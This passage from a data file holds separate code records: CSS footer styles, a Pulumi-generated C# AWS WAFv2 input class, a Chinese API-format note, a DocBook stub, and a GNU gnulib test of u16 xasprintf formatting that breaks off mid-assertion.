#fff; padding: @standard-space 0px; }\nfooter.short .top-border{ height: 1px !important; }\n\n@media all and(max-width: 767px){\n\tfooter.classic div{ margin-bottom: 18px; }\n}\n\n.contact-methods li{ margin-bottom: 12px; }\n.contact-methods li:last-child{ margin-bottom: 0px; }\n.contact-methods i{ font-size: 36px; color: @color-heading; }\n.contact-methods span{ display: inline-block; position: relative; bottom: 10px; left:8px; font-size: 16px; }\n\nfooter.classic .social-profiles{ margin-top: 36px; }\n\n.social-profiles{ display: inline-block; overflow: hidden; }\n.social-profiles li{ float: left; margin-right: 36px; }\n.social-profiles li:last-child{ margin-right: 0px; }\n.social-profiles li a{ color: @color-heading; font-size: 20px; }\n\n"} {"text": "// *** WARNING: this file was generated by the Pulumi Terraform Bridge (tfgen) Tool. ***\n// *** Do not edit by hand unless you're certain you know what you are doing! ***\n\nusing System;\nusing System.Collections.Generic;\nusing System.Collections.Immutable;\nusing System.Threading.Tasks;\nusing Pulumi.Serialization;\n\nnamespace Pulumi.Aws.WafV2.Inputs\n{\n\n public sealed class WebAclRuleStatementAndStatementStatementAndStatementStatementGeoMatchStatementForwardedIpConfigGetArgs : Pulumi.ResourceArgs\n {\n /// <summary>\n /// - The match status to assign to the web request if the request doesn't have a valid IP address in the specified position. Valid values include: `MATCH` or `NO_MATCH`.\n /// </summary>\n [Input(\"fallbackBehavior\", required: true)]\n public Input<string> FallbackBehavior { get; set; } = null!;\n\n /// <summary>\n /// - The name of the HTTP header to use for the IP address.\n /// </summary>\n [Input(\"headerName\", required: true)]\n public Input<string> HeaderName { get; set; } = null!;\n\n public WebAclRuleStatementAndStatementStatementAndStatementStatementGeoMatchStatementForwardedIpConfigGetArgs()\n {\n }\n }\n}\n"} {"text": "接口格式\n========\n\n```js\n// 所有接口返回的数据请遵守下面的格式!\nvar resData = {\n iserro: 0,\n msg: '',\n data: ''\n}\n```\n\n"} {"text": "<?xml version=\"1.0\"?>\n<!DOCTYPE book PUBLIC \"-//OASIS//DTD DocBook XML V4.3//EN\"\n \"http://www.oasis-open.org/docbook/xml/4.3/docbookx.dtd\" [\n <!ENTITY % local.common.attrib \"xmlns:xi CDATA #FIXED 'http://www.w3.org/2003/XInclude'\">\n <!ENTITY version SYSTEM \"version.xml\">\n]>\n<sect1 id=\"glyph-information\">\n <title>Glyph information</title>\n <sect2 id=\"names-and-numbers\">\n <title>Names and numbers</title>\n <para>\n </para>\n </sect2>\n</sect1>\n"} {"text": "/* Test of u16_v[a]s[n]printf() function.\n Copyright (C) 2007, 2009-2020 Free Software Foundation, Inc.\n\n This program is free software: you can redistribute it and/or modify\n it under the terms of the GNU General Public License as published by\n the Free Software Foundation; either version 3 of the License, or\n (at your option) any later version.\n\n This program is distributed in the hope that it will be useful,\n but WITHOUT ANY WARRANTY; without even the implied warranty of\n MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n GNU General Public License for more details.\n\n You should have received a copy of the GNU General Public License\n along with this program. If not, see <https://www.gnu.org/licenses/>. */\n\n/* Written by Bruno Haible <bruno@clisp.org>, 2007. */\n\nstatic void\ntest_xfunction (uint16_t * (*my_xasprintf) (const char *, ...))\n{\n /* Test support of size specifiers as in C99. */\n\n {\n uint16_t *result =\n my_xasprintf (\"%ju %d\", (uintmax_t) 12345671, 33, 44, 55);\n static const uint16_t expected[] =\n { '1', '2', '3', '4', '5', '6', '7', '1', ' ', '3', '3', 0 };\n ASSERT (result != NULL);\n ASSERT (u16_strcmp (result, expected) == 0);\n free (result);\n }\n\n {\n uint16_t *result =\n my_xasprintf (\"%zu %d\", (size_t) 12345672, 33, 44, 55);\n static const uint16_t expected[] =\n { '1', '2', '3', '4', '5', '6', '7', '2', ' ', '3', '3', 0 };\n ASSERT (result != NULL);\n ASSERT (u16_strcmp (result, expected) == 0);\n free (result);\n }\n\n {\n uint16_t *result =\n my_xasprintf (\"%tu %d\", (ptrdiff_t) 12345673, 33, 44, 55);\n static const uint16_t expected[] =\n { '1', '2', '3', '4', '5', '6', '7', '3', ' ', '3', '3', 0 };\n ASSERT (result != NULL);\n ASSERT (u16_strcmp (result, expected) == 0);\n free (result);\n }\n\n {\n uint16_t *result =\n my_xasprintf (\"%Lg %d\", (long double) 1.5, 33, 44, 55);\n static const uint16_t expected[] =\n { '1', '.', '5', ' ', '3', '3', 0 };\n ASSERT (result != NULL);\n ASSERT (u16_strcmp (result, expected) == 0);\n free (result);\n }\n\n /* Test the support of the 'U' conversion specifier for Unicode strings. */\n\n {\n static const uint8_t unicode_string[] = \"Hello\";\n {\n uint16_t *result =\n my_xasprintf (\"%U %d\", unicode_string, 33, 44, 55);\n static const uint16_t expected[] =\n { 'H', 'e', 'l', 'l', 'o', ' ', '3', '3', 0 };\n ASSERT (result != NULL);\n ASSERT (u16_strcmp (result, expected) == 0);\n free (result);\n }\n { /* Width. */\n uint16_t *result =\n my_xasprintf (\"%10U %d\", unicode_string, 33, 44, 55);\n static const uint16_t expected[] =\n { ' ', ' ', ' ', ' ', ' ', 'H', 'e', 'l', 'l', 'o', ' ', '3', '3', 0 };\n ASSERT (result != NULL);\n ASSERT (u16_strcmp (result, expected) == 0);\n free (result);\n }\n { /* FLAG_LEFT. */\n uint16_t *result =\n my_xasprintf (\"%-10U %d\", unicode_string, 33, 44, 55);\n static const uint16_t expected[] =\n { 'H', 'e', 'l', 'l', 'o', ' ', ' ', ' ', ' ', ' ', ' ', '3', '3', 0 };\n ASSERT (result != NULL);\n ASSERT (u16_strcmp (result, expected) == 0);\n free (result);\n }\n { /* FLAG_ZERO: no effect. */\n uint16_t *result =\n my_xasprintf (\"%010U %d\", unicode_string, 33, 44, 55);\n static const uint16_t expected[] =\n { ' ', ' ', ' ', ' ', ' ', 'H', 'e', 'l', 'l', 'o', ' ', '3', '3', 0 };\n ASSERT (result != NULL);\n ASSERT (u16_strcmp (result, expected) == 0);\n free (result);\n }\n }\n\n {\n static const uint16_t unicode_string[] = { 'H', 'e', 'l', 'l', 'o', 0 };\n {\n uint16_t *result =\n my_xasprintf (\"%lU %d\", unicode_string, 33, 44, 55);\n static const uint16_t expected[] =\n { 'H', 'e', 'l', 'l', 'o', ' ', '3', '3', 0 };\n ASSERT (result != NULL);\n ASSERT (u16_strcmp (result, expected) == 0);\n free (result);\n }\n { /* Width. */\n uint16_t *result =\n my_xasprintf (\"%10lU %d\", unicode_string, 33, 44, 55);\n static const uint16_t expected[] =\n { ' ', ' ', ' ', ' ', ' ', 'H', 'e', 'l', 'l', 'o', ' ', '3', '3', 0 };\n ASSERT (result != NULL);\n ASSERT (u16_strcmp (result, expected) == 0);\n free (result);\n }\n { /* FLAG_LEFT. */\n uint16_t *result =\n my_xasprintf (\"%-10lU %d\", unicode_string, 33, 44, 55);\n static const uint16_t expected[] =\n { 'H', 'e', 'l', 'l', 'o', ' ', ' ', ' ', ' ', ' ', ' ', '3', '3', 0 };\n ASSERT (result != NULL);\n ASSERT (u16_strcmp (result, expected) == 0);\n free (result);\n }\n { /* FLAG_ZERO: no effect. */\n uint16_t *result =\n my_xasprintf (\"%010lU %d\", unicode_string, 33, 44, 55);\n static const uint16_t expected[] =\n { ' ', ' ', ' ', ' ', ' ', 'H', 'e', 'l', 'l', 'o', ' ', '3', '3', 0 };\n ASSERT (result != NULL);\n ASSERT (u16_strcmp (result, expected) == 0);\n free (result);\n }\n }\n\n {\n static const uint32_t unicode_string[] = { 'H', 'e', 'l', 'l', 'o', 0 };\n {\n uint16_t *result =\n my_xasprintf (\"%llU %d\", unicode_string, 33, 44, 55);\n static const uint16_t expected[] =\n { 'H', 'e', 'l', 'l', 'o', ' ', '3', '3', 0 };\n ASSERT (result != NULL);\n ASSERT (u16_strcmp (result, expected) == 0);\n free (result);\n }\n { /* Width. */\n uint16_t *result =\n my_xasprintf (\"%10llU %d\", unicode_string, 33, 44, 55);\n static const uint16_t expected[] =\n { ' ', ' ', ' ', ' ', ' ', 'H', 'e', 'l', 'l', 'o', ' ', '3', '3', 0 };\n ASSERT (result != NULL);\n ASSERT (u16_strcmp (result, expected) == 0);\n free (result);\n }\n { /* FLAG_LEFT. */\n uint16_t *result =\n my_xasprintf (\"%-10llU %d\", unicode_string, 33, 44, 55);\n static const uint16_t expected[] =\n { 'H', 'e', 'l', 'l', 'o', ' ', ' ', ' ', ' ', ' ', ' ', '3', '3', 0 };\n ASSERT (result != NULL);\n ASSERT (u16_strcmp (result, expected) == 0);\n free (result);\n }\n { /* FLAG_ZERO: no effect. */\n uint16_t *result =\n my_xasprintf (\"%010llU %d\", unicode_string, 33, 44, 55);\n static const uint16_t expected[] =\n { ' ', ' ', ' ', ' ', ' ', 'H', 'e', 'l', 'l', 'o', ' ', '3', '3', 0 };\n ASSERT (result != NULL);\n ASSERT (u16_strcmp (result, expected) == 0);\n free (result);\n }\n }\n\n /* Test the support of the 's' conversion specifier for strings. */\n\n {\n uint16_t *result =\n my_xasprintf (\"Mr. %s %d\", \"Ronald Reagan\", 33, 44, 55);\n static const uint16_t expected[] =\n { 'M', 'r', '.', ' ', 'R', 'o', 'n', 'a', 'l', 'd',\n ' ', 'R', 'e', 'a', 'g', 'a', 'n', ' ', '3', '3',\n 0\n };\n ASSERT (result != NULL);\n ASSERT (u16_strcmp (result, expected) == 0);\n free (result);\n }\n\n { /* Width. */\n uint16_t *result =\n my_xasprintf (\"Mr. %20s %d\", \"Ronald Reagan\", 33, 44, 55);\n static const uint16_t expected[] =\n { 'M', 'r', '.', ' ', ' ', ' ', ' ', ' ', ' ', ' ',\n ' ', 'R', 'o', 'n', 'a', 'l', 'd', ' ', 'R', 'e',\n 'a', 'g', 'a', 'n', ' ', '3', '3', 0\n };\n ASSERT (result != NULL);\n ASSERT (u16_strcmp (result, expected) == 0);\n free (result);\n }\n\n { /* FLAG_LEFT. */\n uint16_t *result =\n my_xasprintf (\"Mr. %-20s %d\", \"Ronald Reagan\", 33, 44, 55);\n static const uint16_t expected[] =\n { 'M', 'r', '.', ' ', 'R', 'o', 'n', 'a', 'l', 'd',\n ' ', 'R', 'e', 'a', 'g', 'a', 'n', ' ', ' ', ' ',\n ' ', ' ', ' ', ' ', ' ', '3', '3', 0\n };\n ASSERT (result != NULL);\n ASSERT (u16_strcmp (result, expected) == 0);\n free (result);\n }\n\n { /* FLAG_ZERO: no effect. */\n uint16_t *result =\n my_xasprintf (\"Mr. %020s %d\", \"Ronald Reagan\", 33, 44, 55);\n static const uint16_t expected[] =\n { 'M', 'r', '.', ' ', ' ', ' ', ' ', ' ', ' ', ' ',\n ' ', 'R', 'o', 'n', 'a', 'l', 'd', ' ', 'R', 'e',\n 'a', 'g', 'a', 'n', ' ', '3', '3', 0\n };\n ASSERT (result != NULL);\n ASSERT (u16_strcmp (result, expected) == 0);\n free (result);\n }\n\n /* Test the support of the 'a' and 'A' conversion specifier for hexadecimal\n output of floating-point numbers. */\n\n { /* A positive number. */\n uint16_t *result =\n my_xasprintf (\"%a %d\", 3.1416015625, 33, 44, 55);\n static const uint16_t expected1[] =\n { '0', 'x', '1', '.', '9', '2', '2', 'p', '+', '1', ' ', '3', '3', 0 };\n static const uint16_t expected2[] =\n { '0', 'x', '3', '.', '2', '4', '4', 'p', '+', '0', ' ', '3', '3', 0 };\n static const uint16_t expected3[] =\n { '0', 'x', '6', '.', '4', '8', '8', 'p', '-', '1', ' ', '3', '3', 0 };\n static const uint16_t expected4[] =\n { '0', 'x', 'c', '.', '9', '1', 'p', '-', '2', ' ', '3', '3', 0 };\n ASSERT (result != NULL);\n ASSERT (u16_strcmp (result, expected1) == 0\n || u16_strcmp (result, expected2) == 0\n || u16_strcmp (result, expected3) == 0\n || u16_strcmp (result, expected4) == 0);\n free (result);\n }\n\n { /* Width. */\n uint16_t *result =\n my_xasprintf (\"%10a %d\", 1.75, 33, 44, 55);\n static const uint16_t expected1[] =\n { ' ', ' ', '0', 'x', '1', '.', 'c', 'p', '+', '0', ' ', '3', '3', 0 };\n static const uint16_t expected2[] =\n { ' ', ' ', '0', 'x', '3', '.', '8', 'p', '-', '1', ' ', '3', '3', 0 };\n static const uint16_t expected3[] =\n { ' ', ' ', ' ', ' ', '0', 'x', '7', 'p', '-', '2', ' ', '3', '3', 0 };\n static const uint16_t expected4[] =\n { ' ', ' ', ' ', ' ', '0', 'x', 'e', 'p', '-', '3', ' ', '3', '3', 0 };\n ASSERT (result != NULL);\n ASSERT (u16_strcmp (result, expected1) == 0\n || u16_strcmp (result, expected2) == 0\n || u16_strcmp (result, expected3) == 0\n || u16_strcmp (result, expected4) == 0);\n free (result);\n }\n\n { /* Small precision. */\n uint16_t *result =\n my_xasprintf (\"%.10a %d\", 1.75, 33, 44, 55);\n static const uint16_t expected1[] =\n { '0', 'x', '1', '.', 'c', '0', '0', '0', '0', '0',\n '0', '0', '0', '0', 'p', '+', '0', ' ', '3', '3',\n 0\n };\n static const uint16_t expected2[] =\n { '0', 'x', '3', '.', '8', '0', '0', '0', '0', '0',\n '0', '0', '0', '0', 'p', '-', '1', ' ', '3', '3',\n 0\n };\n static const uint16_t expected3[] =\n { '0', 'x', '7', '.', '0', '0', '0', '0', '0', '0',\n '0', '0', '0', '0', 'p', '-', '2', ' ', '3', '3',\n 0\n };\n static const uint16_t expected4[] =\n { '0', 'x', 'e', '.', '0', '0', '0', '0', '0', '0',\n '0', '0', '0', '0', 'p', '-', '3', ' ', '3', '3',\n 0\n };\n ASSERT (result != NULL);\n ASSERT (u16_strcmp (result, expected1) == 0\n || u16_strcmp (result, expected2) == 0\n || u16_strcmp (result, expected3) == 0\n || u16_strcmp (result, expected4) == 0);\n free (result);\n }\n\n { /* Large precision. */\n uint16_t *result =\n my_xasprintf (\"%.50a %d\", 1.75, 33, 44, 55);\n static const uint16_t expected1[] =\n { '0', 'x', '1', '.', 'c', '0', '0', '0', '0', '0',\n '0', '0', '0', '0', '0', '0', '0', '0', '0', '0',\n '0', '0', '0', '0', '0', '0', '0', '0', '0', '0',\n '0', '0', '0', '0', '0', '0', '0', '0', '0', '0',\n '0', '0', '0', '0', '0', '0', '0', '0', '0', '0',\n '0', '0', '0', '0', 'p', '+', '0', ' ', '3', '3',\n 0\n };\n static const uint16_t expected2[] =\n { '0', 'x', '3', '.', '8', '0', '0', '0', '0', '0',\n '0', '0', '0', '0', '0', '0', '0', '0', '0', '0',\n '0', '0', '0', '0', '0', '0', '0', '0', '0', '0',\n '0', '0', '0', '0', '0', '0', '0', '0', '0', '0',\n '0', '0', '0', '0', '0', '0', '0', '0', '0', '0',\n '0', '0', '0', '0', 'p', '-', '1', ' ', '3', '3',\n 0\n };\n static const uint16_t expected3[] =\n { '0', 'x', '7', '.', '0', '0', '0', '0', '0', '0',\n '0', '0', '0', '0', '0', '0', '0', '0', '0', '0',\n '0', '0', '0', '0', '0', '0', '0', '0', '0', '0',\n '0', '0', '0', '0', '0', '0', '0', '0', '0', '0',\n '0', '0', '0', '0', '0', '0', '0', '0', '0', '0',\n '0', '0', '0', '0', 'p', '-', '2', ' ', '3', '3',\n 0\n };\n static const uint16_t expected4[] =\n { '0', 'x', 'e', '.', '0', '0', '0', '0', '0', '0',\n '0', '0', '0', '0', '0', '0', '0', '0', '0', '0',\n '0', '0', '0', '0', '0', '0', '0', '0', '0', '0',\n '0', '0', '0', '0', '0', '0', '0', '0', '0', '0',\n '0', '0', '0', '0', '0', '0', '0', '0', '0', '0',\n '0', '0', '0', '0', 'p', '-', '3', ' ', '3', '3',\n 0\n };\n ASSERT (result != NULL);\n ASSERT (u16_strcmp (result, expected1) == 0\n || u16_strcmp (result, expected2) == 0\n || u16_strcmp (result, expected3) == 0\n || u16_strcmp (result, expected4) == 0);\n free (result);\n }\n\n { /* A positive number. */\n uint16_t *result =\n my_xasprintf (\"%La %d\", 3.1416015625L, 33, 44, 55);\n static const uint16_t expected1[] =\n { '0', 'x', '1', '.', '9', '2', '2', 'p', '+', '1',\n ' ', '3', '3', 0\n };\n static const uint16_t expected2[] =\n { '0', 'x', '3', '.', '2', '4', '4', 'p', '+', '0',\n ' ', '3', '3', 0\n };\n static const uint16_t expected3[] =\n { '0', 'x', '6', '.', '4', '8', '8', 'p', '-', '1',\n ' ', '3', '3', 0\n };\n static const uint16_t expected4[] =\n { '0', 'x', 'c', '.', '9', '1', 'p', '-', '2', ' ',\n '3', '3', 0\n };\n ASSERT (result != NULL);\n ASSERT (u16_strcmp (result, expected1) == 0\n || u16_strcmp (result, expected2) == 0\n || u16_strcmp (result, expected3) == 0\n || u16_strcmp (result, expected4) == 0);\n free (result);\n }\n\n { /* Width. */\n uint16_t *result =\n my_xasprintf (\"%10La %d\", 1.75L, 33, 44, 55);\n static const uint16_t expected1[] =\n { ' ', ' ', '0', 'x', '1', '.', 'c', 'p', '+', '0', ' ', '3', '3', 0 };\n static const uint16_t expected2[] =\n { ' ', ' ', '0', 'x', '3', '.', '8', 'p', '-', '1', ' ', '3', '3', 0 };\n static const uint16_t expected3[] =\n { ' ', ' ', ' ', ' ', '0', 'x', '7', 'p', '-', '2', ' ', '3', '3', 0 };\n static const uint16_t expected4[] =\n { ' ', ' ', ' ', ' ', '0', 'x', 'e', 'p', '-', '3', ' ', '3', '3', 0 };\n ASSERT (result != NULL);\n ASSERT (u16_strcmp (result, expected1) == 0\n || u16_strcmp (result, expected2) == 0\n || u16_strcmp (result, expected3) == 0\n || u16_strcmp (result, expected4) == 0);\n free (result);\n }\n\n { /* Small precision. */\n uint16_t *result =\n my_xasprintf (\"%.10La %d\", 1.75L, 33, 44, 55);\n static const uint16_t expected1[] =\n { '0', 'x', '1', '.', 'c', '0', '0', '0', '0', '0',\n '0', '0', '0', '0', 'p', '+', '0', ' ', '3', '3',\n 0\n };\n static const uint16_t expected2[] =\n { '0', 'x', '3', '.', '8', '0', '0', '0', '0', '0',\n '0', '0', '0', '0', 'p', '-', '1', ' ', '3', '3',\n 0\n };\n static const uint16_t expected3[] =\n { '0', 'x', '7', '.', '0', '0', '0', '0', '0', '0',\n '0', '0', '0', '0', 'p', '-', '2', ' ', '3', '3',\n 0\n };\n static const uint16_t expected4[] =\n { '0', 'x', 'e', '.', '0', '0', '0', '0', '0', '0',\n '0', '0', '0', '0', 'p', '-', '3', ' ', '3', '3',\n 0\n };\n ASSERT (result != NULL);\n ASSERT (u16_strcmp (result, expected1) == 0\n || u16_strcmp (result, expected2) == 0\n || u16_strcmp (result, expected3) == 0\n || u16_strcmp (result, expected4) == 0);\n free (result);\n }\n\n { /* Large precision. */\n uint16_t *result =\n my_xasprintf (\"%.50La %d\", 1.75L, 33, 44, 55);\n static const uint16_t expected1[] =\n { '0', 'x', '1', '.', 'c', '0', '0', '0', '0', '0',\n '0', '0', '0', '0', '0', '0', '0', '0', '0', '0',\n '0', '0', '0', '0', '0', '0', '0', '0', '0', '0',\n '0', '0', '0', '0', '0', '0', '0', '0', '0', '0',\n '0', '0', '0', '0', '0', '0', '0', '0', '0', '0',\n '0', '0', '0', '0', 'p', '+', '0', ' ', '3', '3',\n 0\n };\n static const uint16_t expected2[] =\n { '0', 'x', '3', '.', '8', '0', '0', '0', '0', '0',\n '0', '0', '0', '0', '0', '0', '0', '0', '0', '0',\n '0', '0', '0', '0', '0', '0', '0', '0', '0', '0',\n '0', '0', '0', '0', '0', '0', '0', '0', '0', '0',\n '0', '0', '0', '0', '0', '0', '0', '0', '0', '0',\n '0', '0', '0', '0', 'p', '-', '1', ' ', '3', '3',\n 0\n };\n static const uint16_t expected3[] =\n { '0', 'x', '7', '.', '0', '0', '0', '0', '0', '0',\n '0', '0', '0', '0', '0', '0', '0', '0', '0', '0',\n '0', '0', '0', '0', '0', '0', '0', '0', '0', '0',\n '0', '0', '0', '0', '0', '0', '0', '0', '0', '0',\n '0', '0', '0', '0', '0', '0', '0', '0', '0', '0',\n '0', '0', '0', '0', 'p', '-', '2', ' ', '3', '3',\n 0\n };\n static const uint16_t expected4[] =\n { '0', 'x', 'e', '.', '0', '0', '0', '0', '0', '0',\n '0', '0', '0', '0', '0', '0', '0', '0', '0', '0',\n '0', '0', '0', '0', '0', '0', '0', '0', '0', '0',\n '0', '0', '0', '0', '0', '0', '0', '0', '0', '0',\n '0', '0', '0', '0', '0', '0', '0', '0', '0', '0',\n '0', '0', '0', '0', 'p', '-', '3', ' ', '3', '3',\n 0\n };\n ASSERT (result != NULL);\n ASSERT (u16_strcmp (result, expected1) == 0\n || u16_strcmp (result, expected2) == 0\n || u16_strcmp (result, expected3) == 0\n || u16_strcmp (result, expected4) == 0);\n free (result);\n }\n\n /* Test the support of the %f format directive. */\n\n { /* A positive number. */\n uint16_t *result =\n my_xasprintf (\"%f %d\", 12.75, 33, 44, 55);\n static const uint16_t expected[] =\n { '1', '2', '.', '7', '5', '0', '0', '0', '0', ' ', '3', '3', 0 };\n ASSERT (result != NULL);\n ASSERT (u16_strcmp (result, expected) == 0);\n free (result);\n }\n\n { /* Width. */\n uint16_t *result =\n my_xasprintf (\"%10f %d\", 1.75, 33, 44, 55);\n static const uint16_t expected[] =\n { ' ', ' ', '1', '.', '7', '5', '0', '0', '0', '0', ' ', '3', '3', 0 };\n ASSERT (result != NULL);\n ASSERT (u16_strcmp (result, expected) == 0);\n free (result);\n }\n\n { /* Precision. */\n uint16_t *result =\n my_xasprintf (\"%.f %d\", 1234.0, 33, 44, 55);\n static const uint16_t expected[] =\n { '1', '2', '3', '4', ' ', '3', '3', 0 };\n ASSERT (result != NULL);\n ASSERT (u16_strcmp (result, expected) == 0);\n free (result);\n }\n\n { /* A positive number. */\n uint16_t *result =\n my_xasprintf (\"%Lf %d\", 12.75L, 33, 44, 55);\n static const uint16_t expected[] =\n { '1', '2', '.', '7', '5', '0', '0', '0', '0', ' ', '3', '3', 0 };\n ASSERT (result != NULL);\n ASSERT (u16_strcmp (result, expected) == 0);\n free (result);\n }\n\n { /* Width. */\n uint16_t *result =\n my_xasprintf (\"%10Lf %d\", 1.75L, 33, 44, 55);\n static const uint16_t expected[] =\n { ' ', ' ', '1', '.', '7', '5', '0', '0', '0', '0', ' ', '3', '3', 0 };\n ASSERT (result != NULL);\n ASSERT (u16_strcmp (result, expected) == 0);\n free (result);\n }\n\n { /* Precision. */\n uint16_t *result =\n my_xasprintf (\"%.Lf %d\", 1234.0L, 33, 44, 55);\n static const uint16_t expected[] =\n { '1', '2', '3', '4', ' ', '3', '3', 0 };\n ASSERT (result != NULL);\n ASSERT (u16_strcmp (result, expected) == 0);\n free (result);\n }\n\n /* Test the support of the %F format directive. */\n\n { /* A positive number. */\n uint16_t *result =\n my_xasprintf (\"%F %d\", 12.75, 33, 44, 55);\n static const uint16_t expected[] =\n { '1', '2', '.', '7', '5', '0', '0', '0', '0', ' ', '3', '3', 0 };\n ASSERT (result != NULL);\n ASSERT (u16_strcmp (result, expected) == 0);\n free (result);\n }\n\n { /* Precision. */\n uint16_t *result =\n my_xasprintf (\"%.F %d\", 1234.0, 33, 44, 55);\n static const uint16_t expected[] =\n { '1', '2', '3', '4', ' ', '3', '3', 0 };\n ASSERT (result != NULL);\n ASSERT (u16_strcmp (result, expected) == 0);\n free (result);\n }\n\n { /* A positive number. */\n uint16_t *result =\n my_xasprintf (\"%LF %d\", 12.75L, 33, 44, 55);\n static const uint16_t expected[] =\n { '1', '2', '.', '7', '5', '0', '0', '0', '0', ' ', '3', '3', 0 };\n ASSERT (result != NULL);\n ASSERT (u16_strcmp (result, expected) == 0);\n free (result);\n }\n\n { /* Precision. */\n uint16_t *result =\n my_xasprintf (\"%.LF %d\", 1234.0L, 33, 44, 55);\n static const uint16_t expected[] =\n { '1', '2', '3', '4', ' ', '3', '3', 0 };\n ASSERT (result != NULL);\n ASSERT (u16_strcmp (result, expected) == 0);\n free (result);\n }\n\n /* Test the support of the %e format directive. */\n\n { /* A positive number. */\n uint16_t *result =\n my_xasprintf (\"%e %d\", 12.75, 33, 44, 55);\n static const uint16_t expected1[] =\n { '1', '.', '2', '7', '5', '0', '0', '0', 'e', '+',\n '0', '1', ' ', '3', '3', 0\n };\n static const uint16_t expected2[] =\n { '1', '.', '2', '7', '5', '0', '0', '0', 'e', '+',\n '0', '0', '1', ' ', '3', '3', 0\n };\n ASSERT (result != NULL);\n ASSERT (u16_strcmp (result, expected1) == 0\n || u16_strcmp (result, expected2) == 0);\n free (result);\n }\n\n { /* Width. */\n uint16_t *result =\n my_xasprintf (\"%15e %d\", 1.75, 33, 44, 55);\n static const uint16_t expected1[] =\n { ' ', ' ', ' ', '1', '.', '7', '5', '0', '0', '0',\n '0', 'e', '+', '0', '0', ' ', '3', '3', 0\n };\n static const uint16_t expected2[] =\n { ' ', ' ', '1', '.', '7', '5', '0', '0', '0', '0',\n 'e', '+', '0', '0', '0', ' ', '3', '3', 0\n };\n ASSERT (result != NULL);\n ASSERT (u16_strcmp (result, expected1) == 0\n || u16_strcmp (result, expected2) == 0);\n free (result);\n }\n\n { /* Precision. */\n uint16_t *result =\n my_xasprintf (\"%.e %d\", 1234.0, 33, 44, 55);\n static const uint16_t expected1[] =\n { '1', 'e', '+', '0', '3', ' ', '3', '3', 0 };\n static const uint16_t expected2[] =\n { '1', 'e', '+', '0', '0', '3', ' ', '3', '3', 0 };\n ASSERT (result != NULL);\n ASSERT (u16_strcmp (result, expected1) == 0\n || u16_strcmp (result, expected2) == 0);\n free (result);\n }\n\n { /* A positive number. */\n uint16_t *result =\n my_xasprintf (\"%Le %d\", 12.75L, 33, 44, 55);\n static const uint16_t expected[] =\n { '1', '.', '2', '7', '5', '0', '0', '0', 'e', '+',\n '0', '1', ' ', '3', '3', 0\n };\n ASSERT (result != NULL);\n ASSERT (u16_strcmp (result, expected) == 0);\n free (result);\n }\n\n { /* Width. */\n uint16_t *result =\n my_xasprintf (\"%15Le %d\", 1.75L, 33, 44, 55);\n static const uint16_t expected[] =\n { ' ', ' ', ' ', '1', '.', '7', '5', '0', '0', '0',\n '0', 'e', '+', '0', '0', ' ', '3', '3', 0\n };\n ASSERT (result != NULL);\n ASSERT (u16_strcmp (result, expected) == 0);\n free (result);\n }\n\n { /* Precision. */\n uint16_t *result =\n my_xasprintf (\"%.Le %d\", 1234.0L, 33, 44, 55);\n static const uint16_t expected[] =\n { '1', 'e', '+', '0', '3', ' ', '3', '3', 0 };\n ASSERT (result != NULL);\n ASSERT (u16_strcmp (result, expected) == 0);\n free (result);\n }\n\n /* Test the support of the %g format directive. */\n\n { /* A positive number. */\n uint16_t *result =\n my_xasprintf (\"%g %d\", 12.75, 33, 44, 55);\n static const uint16_t expected[] =\n { '1', '2', '.', '7', '5', ' ', '3', '3', 0 };\n ASSERT (result != NULL);\n ASSERT (u16_strcmp (result, expected) == 0);\n free (result);\n }\n\n { /* Width. */\n uint16_t *result =\n my_xasprintf (\"%10g %d\", 1.75, 33, 44, 55);\n static const uint16_t expected[] =\n { ' ', ' ', ' ', ' ', ' ', ' ', '1', '.', '7', '5', ' ', '3', '3', 0 };\n ASSERT (result != NULL);\n ASSERT (u16_strcmp (result, expected) == 0);\n free (result);\n }\n\n { /* Precision. */\n uint16_t *result =\n my_xasprintf (\"%.g %d\", 1234.0, 33, 44, 55);\n static const uint16_t expected1[] =\n { '1', 'e', '+', '0', '3', ' ', '3', '3', 0 };\n static const uint16_t expected2[] =\n { '1', 'e', '+', '0', '0', '3', ' ', '3', '3', 0 };\n ASSERT (result != NULL);\n ASSERT (u16_strcmp (result, expected1) == 0\n || u16_strcmp (result, expected2) == 0);\n free (result);\n }\n\n { /* A positive number. */\n uint16_t *result =\n my_xasprintf (\"%Lg %d\", 12.75L, 33, 44, 55);\n static const uint16_t expected[] =\n { '1', '2', '.', '7', '5', ' ', '3', '3', 0 };\n ASSERT (result != NULL);\n ASSERT (u16_strcmp (result, expected) == 0);\n free (result);\n }\n\n { /* Width. */\n uint16_t *result =\n my_xasprintf (\"%10Lg %d\", 1.75L, 33, 44, 55);\n static const uint16_t expected[] =\n { ' ', ' ', ' ', ' ', ' ', ' ', '1', '.', '7', '5', ' ', '3', '3', 0 };\n ASSERT (result != NULL);\n ASSERT (u16_strcmp (result, expected) == 0);\n free (result);\n }\n\n { /* Precision. */\n uint16_t *result =\n my_xasprintf (\"%.Lg %d\", 1234.0L, 33, 44, 55);\n static const uint16_t expected[] =\n { '1', 'e', '+', '0', '3', ' ', '3', '3', 0 };\n ASSERT (result != NULL);\n ASSERT (u16_strcmp (result, expected) == 0);\n free (result);\n }\n\n /* Test the support of the %n format directive. */\n\n {\n int count = -1;\n uint16_t *result =\n my_xasprintf (\"%d %n\", 123, &count, 33, 44, 55);\n static const uint16_t expected[] =\n { '1', '2', '3', ' ', 0 };\n ASSERT (result != NULL);\n ASSERT (u16_strcmp (result, expected) == 0);\n ASSERT (count == 4);\n free (result);\n }\n\n /* Test the support of the POSIX/XSI format strings with positions. */\n\n {\n uint16_t *result =\n my_xasprintf (\"%2$d %1$d\", 33, 55);\n static const uint16_t expected[] =\n { '5', '5', ' ', '3', '3', 0 };\n ASSERT (result != NULL);\n ASSERT (u16_strcmp (result, expected) == 0);\n free (result);\n }\n\n /* Test the support of the grouping flag. */\n\n {\n uint16_t *result =\n my_xasprintf (\"%'d %d\", 1234567, 99);\n ASSERT (result != NULL);\n ASSERT (result[u16_strlen (result) - 1] == '9');\n free (result);\n }\n\n /* Test the support of the 'U' conversion specifier for Unicode strings. */\n\n {\n static const uint8_t unicode_string[] = \"Rafa\\305\\202 Maszkowski\"; /* Rafał Maszkowski */\n {\n uint16_t *result =\n my_xasprintf (\"%U %d\", unicode_string, 33, 44, 55);\n static const uint16_t expected[] =\n { 'R', 'a', 'f', 'a', 0x0142, ' ', 'M', 'a', 's', 'z',\n 'k', 'o', 'w', 's', 'k', 'i', ' ', '3', '3', 0\n };\n ASSERT (result != NULL);\n ASSERT 